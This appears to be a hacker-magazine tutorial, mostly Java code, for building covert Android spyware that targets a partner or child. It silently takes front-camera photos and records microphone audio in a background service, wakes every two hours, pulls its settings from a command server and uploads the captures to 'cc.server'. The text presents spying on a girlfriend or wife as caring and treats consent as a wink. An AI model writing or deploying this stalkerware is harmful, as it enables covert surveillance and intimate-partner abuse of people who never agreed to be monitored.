
Everyone cares about their significant others' security. We all know that feeling when your calls are not answered and your Whatsapp messages not marked as read. In a moment like that you would do a lot to have any idea what is happening there. Although cell phone carriers offer geolocation services to locate another user, knowing your girlfriend is somewhere in the middle of Main Street will barely help. So what can we do about it?

WARNING
All the information was obtained through author's personal research and is published for educational purposes. Neither the editorial staff nor the the author bear any responsibility for any damage caused by the intervention in the OS performance.
Setting goals
It's a good thing we live in happy times when just several lines of code can make your wish come true. Let's check what we can do with a regular Android phone.
Today we're going to write a short program that will work in background mode, gathering various data we need and then send it to a specified server.
We already created a similar nice application in one of our previous articles, but it was not able to run in the background. The reason lies in the app’s activity lifecycle. You are welcome to study this subject in detail. I'll give you just a brief description: once the system registers that the user stopped using an application, it goes to the queue for unloading from the memory to clear it for other tasks. So if we want the phone to collect the data throughout the day (and night) we should see to it.
We want our application to launch every now and then to take a photo with its front camera, record a short sound sample and send it all to a certain server. To make it flexible and adjustable let’s make it download a config file to check against once in a while.
Go!
Let's first create the XML configuration file. It will be downloaded once a day and parsed with XMLPullParser. In our case we should check for opening audio and photo tags. Clearly this class allow more opportunities, so creating flexible preferences will not be a problem. The preferences proper will be saved to Shared Preferences.
XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
factory.setNamespaceAware(true);
XmlPullParser parser = factory.newPullParser();
// Downloading XML-file from the specified address by GET and read it using InputStream
HttpURLConnection urlConnection = null;
URL url = new URL("http://cc.server/config.xml");
urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setRequestMethod("GET");
urlConnection.connect();
InputStream input = urlConnection.getInputStream();
parser.setInput(input, null);
int eventType = parser.getEventType();
// Checking the XML-file for opening tags
while(eventType != XmlPullParser.END_DOCUMENT)
{
if(eventType == XmlPullParser.START_TAG)
{
if (parser.getName().contains("photo"))
{ConfigUpdater.isPhoto=true;}
else if (parser.getName().contains("audio"))
{ConfigUpdater.isAudio=true;}
eventType = parser.next();
}
}
AsyncTask class allows to perform a resource-intensive task in the background mode. For example we can download files in the background without causing lags in the main application used at that moment.
public class LoadConfig extends AsyncTask<String, Void,Boolean> {
private Exception exception;
@Override
protected Boolean doInBackground(String... urls) {
try
{
// running a separate process for downloading and reading the config file
parseXml();
}
catch (Exception e)
{
this.exception = e;
return null;
}
return null;
}
}
BroadcastReceiver class allows to sign up for receiving notifications on upcoming events in the OS. Upon receiving such notification the application will run the list of commands assigned by the developer. So after the OS registers the application as a recipient of certain notifications, it will run onReceive in appropriate class once the indicated event takes place. This works even if the phone's screen is locked or another demanding application is in use.
public void onReceive(Context context, Intent intent) {
// We use AsyncTask to download and process the config file
new LoadConfig().execute();
// The results are put in SharedPreferences
sp = context.getSharedPreferences("Config", context.MODE_PRIVATE);
sp.edit().putBoolean("isAudio", isAudio).commit();
sp.edit().putBoolean("isPhoto", isPhoto).commit();
}
The camera in Android can be accessed via graphical Intent or without user taking any actions. The latter makes it possible to take photos absolutely imperceptibly. We only need to determine the camera ID and use onPictureTaken method in PictureCallBack class.
private int findFrontFacingCamera() {
int cameraId = -1;
int numberOfCameras = Camera.getNumberOfCameras();
for (int i = 0; i < numberOfCameras; i++)
{
CameraInfo info = new CameraInfo();
Camera.getCameraInfo(i, info);
// Looking through all the cameras to select the front camera
if (info.facing == CameraInfo.CAMERA_FACING_FRONT)
{
cameraId = i;
break;
}
}
return cameraId;
}
cameraId = findFrontFacingCamera();
// Creating a new instance of the PhotoHandler class. We need it for saving a photo
PhotoHandler phHandler = new PhotoHandler(camera);
phHandler.setFile(file);
camera.reconnect();
camera.startPreview();
camera.takePicture(null, null,phHandler);
Here is how the PhotoHandler is carried out. When creating a photo the OS will call the onPictureTaken method. It will receive a byte array containing the photo as its argument.
public class PhotoHandler implements PictureCallback {
@Override
public void onPictureTaken(byte[] data, Camera camera) {
// Writing the byte array in the file
FileOutputStream fos = new FileOutputStream(pictureFile);
fos.write(data);
fos.close();
ourCamera.release();
...
}
}
Recording the mic input will be just as easy. We will use MediaRecorder to do it. This class allows to record sound and video depending on the parameters we set. We will work only with sound this time.
MediaRecorder myAudioRecorder;
String outputFile = audioFile.toString();
myAudioRecorder=new MediaRecorder();
// The sound should be recorded from the mic to 3GP format, sound processing algorithm AMR_NB myAudioRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
myAudioRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
myAudioRecorder.setAudioEncoder(MediaRecorder.OutputFormat.AMR_NB);
According to the manual, the method (onReceive) called by BroadcastReceived will be terminated after 10 seconds. To record a longer sample we will create a separate thread using the Service class.
Intent audioIntent = new Intent(context, AudioService.class);
context.startService(audioIntent);
When the service is started, the mic sound will be recorded by the onHandleIntent method.
public class AudioService extends IntentService {
@Override
protected void onHandleIntent(Intent intent) {
recordAudio();
}
...
}
The easiest way to upload the data is an ordinary POST request. We will use the HttpUrlConnection class for it.
FileInputStream fileInputStream = new FileInputStream(new File(myFile) );
URL myUrl = new URL("http://cc.server/upload.php");
HttpURLConnection connection = (HttpURLConnection) myUrl.openConnection();
connection.setDoInput(true);
connection.setDoOutput(true);
connection.setUseCaches(false);
// Initializing the POST request
connection.setRequestMethod("POST");
connection.setRequestProperty("Connection", "Keep-Alive");
connection.setRequestProperty("Content-Type", "multipart/form-data;boundary="+boundary);
// Opening a connection with the server and sending the file outputStream = new DataOutputStream( connection.getOutputStream() );
outputStream.writeBytes(twoHyphens + boundary + lineEnd);
// Describing the request content according to RFC 1806
outputStream.writeBytes("Content-Disposition: form-data; name=\"uploadedfile\";filename=\"" + myFile +"\"" + lineEnd);
outputStream.writeBytes(lineEnd);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// Reading the file into buffer at the same time fixing its size
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0)
{
outputStream.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
outputStream.writeBytes(lineEnd);
outputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
Now to make it all work we will enable our application to get system events notifications. The AlarmManager class allows us to schedule the launch of our application, let's make it every two hours. You are welcome to read the manual for more information.
Intent intentConfig = new Intent(this, ConfigUpdater.class);
PendingIntent pIConfig = PendingIntent.getBroadcast(this.getApplicationContext(), 31337, intentConfig, 0);
AlarmManager aMConfig = (AlarmManager) getSystemService(ALARM_SERVICE);
// From now on the app will start every two hours
aMConfig.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(), 7200000, pIConfig);
We also need to modify the AndroidManifest file so that our application could get permissions from the OS for creating files, Internet access, taking photographs, sound recording and reacting upon system events. During the installation of the app the system will notify the user about all the above (except for the system events). This is why it is important to pay attention to what permissions you give to an application. If a solitaire app requests permission to use the camera, it might be a malware solitaire.

INFO
Here we have described only a small part of the possibilities one can exploit. Now it’s clear why on a crucial meeting you should switch off your mobile phone and not just switch it to the airplane mode.
Well, that's it. Now your child, wife or your geek cat are free to go. Don't forget to notify them in advance about their brand new life logging capabilities. We do not want to spy on people here, don't we? We wish you good luck and peace of mind.

2022.06.02 — Climb the heap! Exploiting heap allocation problems
Some vulnerabilities originate from errors in the management of memory allocated on a heap. Exploitation of such weak spots is more complicated compared to 'regular' stack overflow; so,…
Full article →
2022.06.01 — Log4HELL! Everything you must know about Log4Shell
Up until recently, just a few people (aside from specialists) were aware of the Log4j logging utility. However, a vulnerability found in this library attracted to it…
Full article →
2023.02.21 — Pivoting District: GRE Pivoting over network equipment
Too bad, security admins often don't pay due attention to network equipment, which enables malefactors to hack such devices and gain control over them. What…
Full article →
2022.06.01 — Routing nightmare. How to pentest OSPF and EIGRP dynamic routing protocols
The magic and charm of dynamic routing protocols can be deceptive: admins trust them implicitly and often forget to properly configure security systems embedded in these protocols. In this…
Full article →
2022.01.13 — Bug in Laravel. Disassembling an exploit that allows RCE in a popular PHP framework
Bad news: the Ignition library shipped with the Laravel PHP web framework contains a vulnerability. The bug enables unauthorized users to execute arbitrary code. This article examines…
Full article →
2023.06.08 — Croc-in-the-middle. Using crocodile clips do dump traffic from twisted pair cable
Some people say that eavesdropping is bad. But for many security specialists, traffic sniffing is a profession, not a hobby. For some reason, it's believed…
Full article →
2022.06.01 — Quarrel on the heap. Heap exploitation on a vulnerable SOAP server in Linux
This paper discusses a challenging CTF-like task. Your goal is to get remote code execution on a SOAP server. All exploitation primitives are involved with…
Full article →
2022.12.15 — What Challenges To Overcome with the Help of Automated e2e Testing?
This is an external third-party advertising publication. Every good developer will tell you that software development is a complex task. It's a tricky process requiring…
Full article →
2022.01.01 — It's a trap! How to create honeypots for stupid bots
If you had ever administered a server, you definitely know that the password-based authentication must be disabled or restricted: either by a whitelist, or a VPN gateway, or in…
Full article →
2023.01.22 — Top 5 Ways to Use a VPN for Enhanced Online Privacy and Security
This is an external third-party advertising publication. In this period when technology is at its highest level, the importance of privacy and security has grown like never…
Full article →